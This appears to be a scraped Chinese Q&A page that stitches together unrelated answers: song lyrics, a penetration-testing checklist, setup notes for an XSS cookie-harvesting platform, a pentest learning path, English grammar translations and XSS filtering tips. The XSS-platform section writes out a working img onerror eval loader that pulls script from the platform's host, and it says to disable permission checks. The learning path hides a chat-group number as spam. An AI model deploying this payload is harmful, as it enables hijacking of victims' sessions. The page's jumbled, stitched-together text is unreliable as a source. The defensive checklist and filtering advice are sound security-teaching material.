本文目录一览：
- 1、谁知道美国恶搞电影里的一首插曲
- 2、渗透测试应该怎么做呢？
- 3、php怎么处理boundary
- 4、想问一下大家都是怎么做渗透测试的呢？
- 5、2013人教版八年级英语上册grammar focus全部句子翻译
- 6、这个xss有过滤方案么
谁知道美国恶搞电影里的一首插曲
这首歌叫Promiscuous,歌手:Nelly Furtado
歌词:
Promiscuous Lyrics
Am I throwin you off?
Nope
Didn't think so
How you doin' young lady
The feeling that you give me really drive me crazy
You're dope have a player by the choke
I was at a loss for words first time that we spoke
You're looking for a girl that'll treat you right
Have you lookin' for her in the daytime with a light
You might be the type if I play my cards right
I'll find out by the end of the night
You expect me to just let you hit it
But will you still respect me if you get it
All I can do is try, give me one chance
What's the problem I don't see no ring on your hand
I'll be the first to admit it, I'm curious about you, you seem so innocent
You wanna get in my world, get lost in it
Boy I'm tired of runnin' let's walk for a minute
Promiscuous girl
Wherever you are
I'm all alone
And it's you that I want
Promiscuous boy
You already know
That I'm all yours
What you waiting for?
Promiscuous girl
You're teasing me
You know what I want
And I got what you need
Promiscuous boy
Let's get to the point
Cause we're on a roll
You ready?
Roses are red
Some diamonds are blue
Chivalry is dead
But you're still kinda cute
Hey I can't take my mind off you
Where you at, do you mind if I come through
I'm out of this world come with me to my planet
Get you on my level do you think that you can handle it?
They call me Thomas last name Crown
Recognize game I'm'a lay mines down
I'm a big girl I can handle myself
But if I get lonely I may need your help
Pay attention to me I don't talk for my health
I want you on my team
So does everybody else.
Shh maybe we can keep it on the low
Let your guard down ain't nobody gotta know
If you with it girl I know a place we can go
What kind of girl do you take me for?
Promiscuous girl
Wherever you are
I'm all alone
And it's you that I want
Promiscuous boy
You know already know
That i'm all yours
What are you waiting for?
Promiscuous girl
You're teasing me
You know what i want
And I got what you need
Promiscuous boy
Let's get to the point
Cause were on a roll
You ready?
FREAKY don't be mad, FREAKY don't be mean
FREAKY don't get mad, FREAKY don't be mean
Wait! I don't mean no harm
I can see you with my t-shirt on
I can see you with nothing on
Feeling on me before you bring that on
Bring that on?
You know what I mean
Girl, I'm a freak you shouldn't say those things
I'm only trynna get inside of your brain
To see if you can work me the way you say
It's okay, it's alright
I got something that you're gonna like
Is it the truth or are you talking trash
Is your game M.V.P. like Steve Nash
Promiscuous girl
Wherever you are
I'm all alone
And it's you that i want
Promiscuous boy
I'm calling your name
But you're driving me crazy
The way you're making me wait
Promiscuous girl
You teasing me
You know what i want
And I got what you need
Promiscuos boy
We're one and the same
So we don't gotta play games no more
渗透测试应该怎么做呢？
01、信息收集
1、域名、IP、端口
域名信息查询：信息可用于后续渗透
IP信息查询：确认域名对应IP，确认IP是否真实，确认通信是否正常
端口信息查询：NMap扫描，确认开放端口
发现：一共开放两个端口，80为web访问端口，3389为windows远程登陆端口，嘿嘿嘿，试一下
发现：是Windows Server 2003系统，OK，到此为止。
2、指纹识别
其实就是网站的信息。比如通过可以访问的资源，如网站首页，查看源代码:
看看是否存在文件遍历的漏洞（如图片路径，再通过…/遍历文件）
是否使用了存在漏洞的框架（如果没有现成的就自己挖）
02、漏洞扫描
1、主机扫描
Nessus
经典主机漏扫工具，看看有没有CVE漏洞：
2、Web扫描
AWVS（Acunetix | Website Security Scanner）扫描器
PS：扫描器可能会对网站构成伤害，小心谨慎使用。
03、渗透测试
1、弱口令漏洞
漏洞描述
目标网站管理入口（或数据库等组件的外部连接）使用了容易被猜测的简单字符口令、或者是默认系统账号口令。
渗透测试
① 如果不存在验证码，则直接使用相对应的弱口令字典使用burpsuite 进行爆破
② 如果存在验证码，则看验证码是否存在绕过、以及看验证码是否容易识别
风险评级：高风险
安全建议
① 默认口令以及修改口令都应保证复杂度，比如：大小写字母与数字或特殊字符的组合，口令长度不小于8位等
② 定期检查和更换网站管理口令
2、文件下载（目录浏览）漏洞
漏洞描述
一些网站由于业务需求，可能提供文件查看或下载的功能，如果对用户查看或下载的文件不做限制，则恶意用户就能够查看或下载任意的文件，可以是源代码文件、敏感文件等。
渗透测试
① 查找可能存在文件包含的漏洞点，比如js，css等页面代码路径
② 看看有没有文件上传访问的功能
③ 采用…/来测试能否夸目录访问文件
风险评级：高风险
安全建议
① 采用白名单机制限制服务器目录的访问，以及可以访问的文件类型(小心被绕过)
② 过滤【./】等特殊字符
③ 采用文件流的访问返回上传文件（如用户头像），不要通过真实的网站路径。
示例：tomcat，默认关闭路径浏览的功能：
param-namelistings/param-name
param-valuefalse/param-value
3、任意文件上传漏洞
漏洞描述
目标网站允许用户向网站直接上传文件，但未对所上传文件的类型和内容进行严格的过滤。
渗透测试
① 收集网站信息，判断使用的语言（PHP，ASP，JSP）
② 过滤规则绕过方法：文件上传绕过技巧
风险评级：高风险
安全建议
① 对上传文件做有效文件类型判断，采用白名单控制的方法，开放只允许上传的文件型式；
② 文件类型判断，应对上传文件的后缀、文件头、图片类的预览图等做检测来判断文件类型，同时注意重命名（Md5加密）上传文件的文件名避免攻击者利用WEB服务的缺陷构造畸形文件名实现攻击目的；
③ 禁止上传目录有执行权限；
④ 使用随机数改写文件名和文件路径，使得用户不能轻易访问自己上传的文件。
4、命令注入漏洞
漏洞描述
目标网站未对用户输入的字符进行特殊字符过滤或合法性校验，允许用户输入特殊语句，导致各种调用系统命令的web应用，会被攻击者通过命令拼接、绕过黑名单等方式，在服务端运行恶意的系统命令。
渗透测试
风险评级：高风险
安全建议
① 拒绝使用拼接语句的方式进行参数传递；
② 尽量使用白名单的方式（首选方式）；
③ 过滤危险方法、特殊字符，如：【|】【】【；】【’】【"】等
5、SQL注入漏洞
漏洞描述
目标网站未对用户输入的字符进行特殊字符过滤或合法性校验，允许用户输入特殊语句查询后台数据库相关信息
渗透测试
① 手动测试：判断是否存在SQL注入，判断是字符型还是数字型，是否需要盲注
② 工具测试：使用sqlmap等工具进行辅助测试
风险评级：高风险
安全建议
① 防范SQL注入攻击的最佳方式就是将查询的逻辑与其数据分隔，如Java的预处理，PHP的PDO
② 拒绝使用拼接SQL的方式
6、跨站脚本漏洞
漏洞描述
当应用程序的网页中包含不受信任的、未经恰当验证或转义的数据时，或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时，就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本，并劫持用户会话、破坏网站或将用户重定向到恶意站点。
三种XSS漏洞：
① 存储型：用户输入的信息被持久化，并能够在页面显示的功能，都可能存在存储型XSS，例如用户留言、个人信息修改等。
② 反射型：URL参数需要在页面显示的功能都可能存在反射型跨站脚本攻击，例如站内搜索、查询功能。
③ DOM型：涉及DOM对象的页面程序，包括：document.URL、document.location、document.referrer、window.location等
渗透测试
存储型，反射型，DOM型
风险评级：高风险
安全建议
① 不信任用户提交的任何内容，对用户输入的内容，在后台都需要进行长度检查，并且对【】【】【"】【’】【】等字符做过滤
② 任何内容返回到页面显示之前都必须加以html编码，即将【】【】【"】【’】【】进行转义。
7、跨站请求伪造漏洞
漏洞描述
CSRF，全称为Cross-Site Request Forgery，跨站请求伪造，是一种网络攻击方式，它可以在用户毫不知情的情况下，以用户的名义伪造请求发送给被攻击站点，从而在未授权的情况下进行权限保护内的操作，如修改密码，转账等。
渗透测试
风险评级：中风险（如果相关业务极其重要，则为高风险）
安全建议
① 使用一次性令牌：用户登录后产生随机token并赋值给页面中的某个Hidden标签，提交表单时候，同时提交这个Hidden标签并验证，验证后重新产生新的token，并赋值给hidden标签；
② 适当场景添加验证码输入：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串；
③ 请求头Referer效验，url请求是否前部匹配Http(s)😕/ServerHost
④ 关键信息输入确认提交信息的用户身份是否合法，比如修改密码一定要提供原密码输入
⑤ 用户自身可以通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie；
8、内部后台地址暴露
漏洞描述
一些仅被内部访问的地址，对外部暴露了，如：管理员登陆页面；系统监控页面；API接口描述页面等，这些会导致信息泄露，后台登陆等地址还可能被爆破。
渗透测试
① 通过常用的地址进行探测，如login.html，manager.html，api.html等；
② 可以借用burpsuite和常规页面地址字典，进行扫描探测
风险评级：中风险
安全建议
① 禁止外网访问后台地址
② 使用非常规路径（如对md5加密）
9、信息泄露漏洞
漏洞描述
① 备份信息泄露：目标网站未及时删除编辑器或者人员在编辑文件时，产生的临时文件，或者相关备份信息未及时删除导致信息泄露。
② 测试页面信息泄露：测试界面未及时删除，导致测试界面暴露，被他人访问。
③ 源码信息泄露：目标网站文件访问控制设置不当，WEB服务器开启源码下载功能，允许用户访问网站源码。
④ 错误信息泄露：目标网站WEB程序和服务器未屏蔽错误信息回显，页面含有CGI处理错误的代码级别的详细信息，例如SQL语句执行错误原因，PHP的错误行数等。
⑤ 接口信息泄露：目标网站接口访问控制不严，导致网站内部敏感信息泄露。
渗透测试
① 备份信息泄露、测试页面信息泄露、源码信息泄露，测试方法：使用字典，爆破相关目录，看是否存在相关敏感文件
② 错误信息泄露，测试方法：发送畸形的数据报文、非正常的报文进行探测，看是否对错误参数处理妥当。
③ 接口信息泄露漏洞，测试方法：使用爬虫或者扫描器爬取获取接口相关信息，看目标网站对接口权限是否合理
风险评级：一般为中风险，如果源码大量泄漏或大量客户敏感信息泄露。
安全建议
① 备份信息泄露漏洞：删除相关备份信息，做好权限控制
② 测试页面信息泄露漏洞：删除相关测试界面，做好权限控制
③ 源码信息泄露漏洞：做好权限控制
④ 错误信息泄露漏洞：将错误信息对用户透明化，在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因
⑤ 接口信息泄露漏洞：对接口访问权限严格控制
10、失效的身份认证
漏洞描述
通常，通过错误使用应用程序的身份认证和会话管理功能，攻击者能够破译密码、密钥或会话令牌， 或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
渗透测试
① 在登陆前后观察，前端提交信息中，随机变化的数据，总有与当前已登陆用户进行绑定的会话唯一标识，常见如cookie
② 一般现在网站没有那种简单可破解的标识，但是如果是跨站认证，单点登录场景中，可能为了开发方便而简化了身份认证
风险评级：高风险
安全建议
① 使用强身份识别，不使用简单弱加密方式进行身份识别；
② 服务器端使用安全的会话管理器，在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中，可以安全地存储，在登出、闲置超时后使其失效。
11、失效的访问控制
漏洞描述
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据，例如：访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
渗透测试
① 登入后，通过burpsuite 抓取相关url 链接，获取到url 链接之后，在另一个浏览器打开相关链接，看能够通过另一个未登入的浏览器直接访问该功能点。
② 使用A用户登陆，然后在另一个浏览器使用B用户登陆，使用B访问A独有的功能，看能否访问。
风险评级：高风险
安全建议
① 除公有资源外，默认情况下拒绝访问非本人所有的私有资源；
② 对API和控制器的访问进行速率限制，以最大限度地降低自动化攻击工具的危害；
③ 当用户注销后，服务器上的Cookie，JWT等令牌应失效；
④ 对每一个业务请求，都进行权限校验。
12、安全配置错误
漏洞描述
应用程序缺少适当的安全加固，或者云服务的权限配置错误。
① 应用程序启用或安装了不必要的功能（例如：不必要的端口、服务、网页、帐户或权限）。
② 默认帐户的密码仍然可用且没有更改。
③ 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
④ 对于更新的系统，禁用或不安全地配置最新的安全功能。
⑤ 应用程序服务器、应用程序框架（如：Struts、Spring、ASP.NET）、库文件、数据库等没有进行相关安全配置。
渗透测试
先对应用指纹等进行信息搜集，然后针对搜集的信息，看相关应用默认配置是否有更改，是否有加固过；端口开放情况，是否开放了多余的端口；
风险评级：中风险
安全建议
搭建最小化平台，该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。在所有环境中按照标准的加固流程进行正确安全配置。
13、使用含有已知漏洞的组件
漏洞描述
使用了不再支持或者过时的组件。这包括：OS、Web服务器、应用程序服务器、数据库管理系统（DBMS）、应用程序、API和所有的组件、运行环境和库。
渗透测试
① 根据前期信息搜集的信息，查看相关组件的版本，看是否使用了不在支持或者过时的组件。一般来说，信息搜集，可通过http返回头、相关错误信息、应用指纹、端口探测（Nmap）等手段搜集。
② Nmap等工具也可以用于获取操作系统版本信息
③ 通过CVE，CNVD等平台可以获取当前组件版本是否存在漏洞
风险评级：按照存在漏洞的组件的安全风险值判定当前风险。
安全建议
① 移除不使用的依赖、不需要的功能、组件、文件和文档；
② 仅从官方渠道安全的获取组件(尽量保证是最新版本)，并使用签名机制来降低组件被篡改或加入恶意漏洞的风险；
③ 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁，可以考虑部署虚拟补丁来监控、检测或保护。
详细学习可参考：
php怎么处理boundary
需要修改的地方比较多，目前已基本可用，还在学习摸索中。。。
1、将xssplatform.sql中的xsser.me/修改为实际使用的URL，如localhost:6666/xss/
或者导入以后，再进入数据库执行语句修改域名为自己的。
UPDATE oc_module SET
code=REPLACE(code,'','’)
2、修改themes\default\templates\register.html中的提交按钮的源码为：
[html] view plain copy
行53
input id="btnRegister" type="button" onclick="Register()" value="提交注册" /
修改为
input id="btnRegister" type="submit" value="提交注册" /
3、邀请码的生成
[html] view plain copy
（1）将文件source\user.php第10行和50行的权限控制注释掉
//if($user-userId=0) ShowError('未登录或已超时',$url['login'],'重新登录');
//if($user-adminLevel=0) ShowError('没有操作权限',URL_ROOT.'/index.php?do=useract=invite');
然后访问/index.php?do=useract=invite即可生成验证码
（2）注册个用户test，进入数据库，将该用户的adminLevel修改为1，然后去掉（1）中添加到注释；并在第15行case 'invite':处添加权限控制：
if($user-adminLevel=0) ShowError('没有操作权限',URL_ROOT.'/index.php');
（3）或者开放普通注册权限，修改文件/config.php的第18行
$config['register']='invite'; //normal,正常;invite,只允许邀请注册;close,关闭注册功能
4、删除cookie
[html] view plain copy
修改文件themes\default\templates\project_view.html中的Delete()和MultiDelete()函数，将其中post的URL修改为
'/xss/index.php?do=projectact=delcontentr='，即根据实际的服务器路径，在前面添加'/xss'
5、参考修改文件source\class\user.class.php
[html] view plain copy
行 74
$this-db-Execute("UPDATE ".$this-tbUser." SET loginTime='".time()."'");
修改为
$this-db-Execute("UPDATE ".$this-tbUser." SET loginTime='".time()."' where id={$row['id']}");
6、去掉xss URL中的time()动态值，缩短xss URL的长度（不知会不会有啥影响）；
去掉使用提示中的/textarea'\"
[html] view plain copy
文件source/project.php中的修改：
//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";
//$scriptShow1=StripStr("textarea'"script src=".URL_ROOT."/{$project[urlKey]}?".time()."/script");
$scriptShow1=StripStr("script src=".URL_ROOT."/{$project[urlKey]}/script");
//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("/textarea'\"img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//");
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$scriptShow2=StripStr("img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//");
7、登录页面，回车登录；加载完页面后，自动将光标定位在user输入框
[html] view plain copy
文件themes/default/templates/login.html的修改：
!-- input type="submit" value="登录" onclick="Login()" --
input type="submit" value="登录" onclick="Login()"
在body的最后添加：
!-- 页面加载完成后，将光标定位到user输入框 --
scriptdocument.getElementById('user').focus();/script
8、修改提示页面跳转时间为500ms
[html] view plain copy
文件themes/default/templates/notice.html：
行11
setTimeout("location.href='{$notice.turnto}'",3000);
修改为
setTimeout("location.href='{$notice.turnto}'",500);
10、创建项目页面，自动将光标置于项目名称处
[html] view plain copy
themes/default/templates/project_create.html
行55，添加
scriptdocument.getElementById('title').focus();/script
11、rewrite规则
[html] view plain copy
在web根目录下建立.htaccess伪静态文件（仅针对Apache）
RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xss/index.php?do=codeurlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xss/index.php?do=doauth=$1domain=$3 [L]
RewriteRule ^register/(.*?)$ /xss/index.php?do=registerkey=$1 [L]
RewriteRule ^register-validate/(.*?)$ /xss/index.php?do=registeract=validatekey=$1 [L]
想问一下大家都是怎么做渗透测试的呢？
这个要根据个人的实际情况来决定的，比如你先要去了解什么是渗透测试：
1、渗透测试属于信息安全行业，准确的说是网络计算机/IT行业
2、现在你知道了它的行业属性，那么你是否具备一些这个行业的知识呢?
3、具备的话学习起来比较简单，直接去学习渗透测试实战就行，不具备接着往下看
4、现在知道它行业属性，你大概就能清楚需要些什么样的基础知识了；下面是我从非计算机网络相关专业的同学想要学习渗透测试必须掌握的知识。
5、前期入门大概需要掌握或者说了解以下知识点：
1)了解基本的网络知识，例如什么是IP地址（63.62.61.123）去掉点是扣扣学习群，IP地址的基本概念、IP段划分、什么是A段、B段、C段等2）广域网、局域网、相关概念和IP地址划分范围。
3)端口的基本概念？端口的分类？
4)域名的基本概念、什么是URL、了解TCP/IP协议、
5)了解开放式通信系统互联参考模型（OSI）
6)了解http（超文本传输协议）协议概念、工作原理
7)了解WEB的静态页面和WEB动态页面，B/S和C/S结构
8)了解常见的服务器、例如、Windows server2003、Linux、UNIX等
9)了解常见的数据库、MySQL、Mssql、、Access、Oracle、db2等
10)了解基本的网络架构、例如：Linux + Apache + MySQL + php
11)了解基本的Html语言，就是打开网页后,在查看源码里面的Html语言
12)了解一种基本的脚本语言、例如PHP或者asp，jsp，cgi等
然后你想学习入门，需要学习以下最基础的知识：
1、开始入门学习路线
1)深入学习一种数据库语言，建议从MySQL数据库或者SQL Server数据库、简单易学且学会了。
其他数据库都差不多会了。
2)开始学习网络安全漏洞知识、SQL注入、XSS跨站脚本漏洞、CSRF、解析漏洞、上传漏洞、命令执行、弱口令、万能密码、文件包含漏洞、本地溢出、远程溢出漏洞等等
)工具使用的学习、御剑、明小子、啊D、穿山甲（Pangolin）、Sqlmap、burpsuite抓包工具等等
2、Google hacker 语法学习
3、漏洞利用学习、SQL注入、XSS、上传、解析漏洞等
4、漏洞挖掘学习
5、想成为大牛的话、以上都是皮毛中的皮毛，但前提是以上的皮毛都是最基础的。
6、Linux系统命令学习、kali Linux 里面的工具学习、Metesploit学习
7、你也可以找一些扣扣群去和大佬交流，比如上面的IP去掉点就是，里面有很多的教程。
8、没事多逛逛安全论坛、看看技术大牛的文章、漏洞分析文章等
2013人教版八年级英语上册grammar focus全部句子翻译
翻译如下
1、
你假期去哪了呀?我去了纽约啊.
那你和谁一起去的呢?没有.没有人这里没有人.大家都在度假，你有没有买什麼特别的东西呢？
是的,我买了一些礼物给我爸爸.不,我没有买.
那边的食物怎麼样?所有食物尝起来都很美味.
每个人都过得愉快吗?是的.那里的人和那里的事全都好棒。
2.
哪间电影院是最棒的呢?Town Cinema.离家最近并且买票是最快.
在小镇里哪家服装店是最差的呢?Dream Clothes.它比Blue Clothes还要差.它的服务是最差的。
你觉得970AM怎样?我认为970AM是非常很糟糕的.他的音乐非常差。
3.
你想看新闻吗?好的.我想；不.我不想。
你觉得脱口秀怎样?我并不介意它们/我不能容忍它们/我很喜欢它们。
你打算今晚看什么?我打算看一本叫我们过去的日子的书。
你希望你可以从情景喜剧中学到什么东西呢?你可以学一些很棒的笑话。
你为什麼喜欢看新闻?因为我想知道全世界各地都在发送什么。
4.
你长大以后想做什么呢?我想成为一名工程师.
你要怎样才能成为一名工程师呢?我要加油学习数学。
你要去哪里工作了呢?我要搬到上海去。
你什么时候开始呢?当我完成高中和大学后就开始。
5.
世界将会变得怎样?城市将会有更多污染，树木将会越来越少。
100年后人类还会用钱吗?不,人类不会再继续使用钱，所有东西都会免费。
世界会和平吗?世界会和平，我希望如此。
孩子会在家里用电脑学习吗?是的，他们将不会去学校。
6.
我想我会坐公交去参加聚会。 如果那样做，你会迟到的。
我想我会呆在家里。 如果你那样做，你会后悔的。
如果他们今天举办聚会的话会怎么样？ 如果他们举办聚会，班里有一半的人不会参加。
我们应该让人们去拿食物吗？ 如果我们让人们去拿食物，他们只会拿薯片和巧克力。
7.
你这周六能来参加我的聚会吗？ 当然，我很乐意。
你明天晚上能去看电影吗？ 当然，听起来不错，但是我恐怕不能去，因为我得了流感。
他能来参加聚会吗？ 不，他不能，他要帮他父母做事。
她能来看棒球比赛吗？ 不，她没空，她要去看医生。
他们能去看电影吗？ 不，他们没空，他们可能得去和朋友碰面。
扩展资料：
语法是语言的重要组成部分，是语言学习的重要环节。每种语言都有自身的语法体系。要想真正学会正确、地道的英语，就必须学习掌握英语语法，学好语法，可以起到以一知十，触类旁通的作用。
了解组成语言的单词词类：名词、 形容词、 代词、 动词、 副词、 介词、 连词、 感叹词，和冠词。你必须了解句子的组成部分以及它们在句子中的作用，才能用对正确的句子 。
只是单纯的学习语法效果是不好的，当你学过一个语法规则后，要去读英文文章，听英语广播。在这些英语材料中寻找自己学过的语法规则，如此才能更好地掌握英语语法。
阅读儿童读物。如果你的英语水平还不是很高，可以先从儿童读物读起。虽然儿童读物不是语法教科书，但它们是经刻意编写用来教语言的基础知识的，包括基本的单词和拼写，规则和不规则的名词和动词等。
广泛阅读各种材料（学会借助电子词典阅读电子书，可以极大提高查词效率）。通过学习其他作者是如何使用语言的来提高你对语法的理解。
专注于阅读不同的体裁和风格的文章，如经典文学，教科书，科幻小说，科学书籍，报纸，期刊，传记，博客，散文和论文等。阅读时，注意关注其中的语法点，文章中句子的结构，词序，拼写和创造性的变化。
尝试仿照这种语法写出类似的句子。 也就是说你不能只是看懂文章大概意思，而是需要你反复阅读几次弄懂其中的一些语法点。
听英语广播，收看英语电视节目。注意节目中讲话的人是怎么使用英语的，他们是如何遣词造句的 。尝试跟读模仿他们所说的话，以理解句子的结构并扩大你的词汇量。
当然，也不要太在意每次所犯的错误，好的语法能力正是在不断犯错并修正之后练习出来的。英语有非常多规则和特例，即使是英语母语者也不一定掌握了正确的语法。
多做语法练习题。现在有许多网站和应用程序可以提供语法练习游戏，您可以下载到电脑或手机上，以一种有趣的方式来学习语法。这些游戏大多会提供错误的答案的解释，可以帮助你改正语法错误。
每天都练习写作，通过写作来练习并掌握语法规则。用英语记日记、 编写短篇小故事，甚至只是给朋友或家人写写电子邮件。把精力集中在你不熟悉的语法规则和你经常重复犯错误的地方。不要仅仅依靠语法检查程序。第一，检查程序也可能也会犯错。
第二，如果你不自己做改正工作，你将不会从错误中学到东西。如果你使用语法检查或校对服务，花点时间去看一下他们做了什么改动，你才可以学会正确的语法规则。
做汉译英练习，找一段有中英对照的文章，把中文句子或文章翻译成英文。翻译的时候，不要逃避困难的语法，不要只是在心里翻译，一定要用笔或电脑把翻译写出来。
刚开始翻译的时候，先找些简单的文章，比如儿童读物，接着再翻译报纸杂志上的文章，最后可以买一些专业的口译书籍来做翻译练习。
着重学习易混淆词之间的区别，英语有很多单词声音或拼写相同，含义却很不相同。这些同形异义词，同音异义词，同形异音词和同音异形词非常容易混淆，并导致常见的错误。记住这些常见的错误可以帮助你避免经常犯错误。
正确使用标点符号，标点符号是语言的重要组成部分,它标明了句子的开始,停止,暂停,和句与语之间的关系。不正确的标点符号可能导致你所传达的意思混淆或不能被理解。英语中有许多与标点符号有关的错误，如逗号：在一个长句里的独立从句之间没有合适的连词时也没有使用逗号。
多使用主动语态，在一个主动句中，主体是执行行动的事物；在被动句中，主体受到外力的作用。虽然被动语态没有什么错，但它容易使表达不清晰。因此，你应该多使用主动语态。当然使用被动语态也是可以接受的，特别是要强调某些事情时。
正确使用反身代词。反身代词有myself, yourself, himself,herself,itself, ourselves, yourselves和 themselves。这些代词可以用来表指代或强调。反身代词仅作为句子中的宾语。
如果将反身代词从句子中删除并不影响句子的含义，那这里的反身代词起得就是强调作用。如果删除反身代词会影响句子完整的意思，那它起的就是指代作用。
找到一个好的语法老师是确保你理解一门语言基本语法的好方法之一。寻求有资格教你的人的帮助。但如果要花大价钱的话，那就完全没有必要了。在如今网络如此发达的情况下，网络上已经有很多相当优秀的老师分享的免费课程可供你学习。
广泛阅读语法书。语言是在不断发展和变化的，英语的语法规则并不是一成不变的。有许多不同风格的语法书籍，以不同的方式讲解英语语法，多阅读一些不同风格的语法书是很好的语法学习方式。它们从不同的层面让你更好地了解语法的基本原理，并告诉你语言的适应性和它的灵活性。
查找在线资源。随着网络越来越发达，网络上有大量可靠的语法课程。
参考资料：
人民网-学习英语兴趣为先
人民网-学习英语正确方法很重要
这个xss有过滤方案么
方案一：
避免XSS的方法之一主要是将用户所提供的内容输入输出进行过滤，许多语言都有提供对HTML的过滤：
可以利用下面这些函数对出现xss漏洞的参数进行过滤：
PHP的htmlentities()或是htmlspecialchars()。
Python 的 cgi.escape()。
ASP 的 ServerEncode()。
ASP.NET 的 ServerEncode() 或功能更强的 Microsoft Anti-Cross Site Scripting Library
Java 的 xssprotect(Open Source Library)。
Node.js 的 node-validator。
方案二：使用开源的漏洞修复插件。（ 需要站长懂得编程并且能够修改服务器代码 ）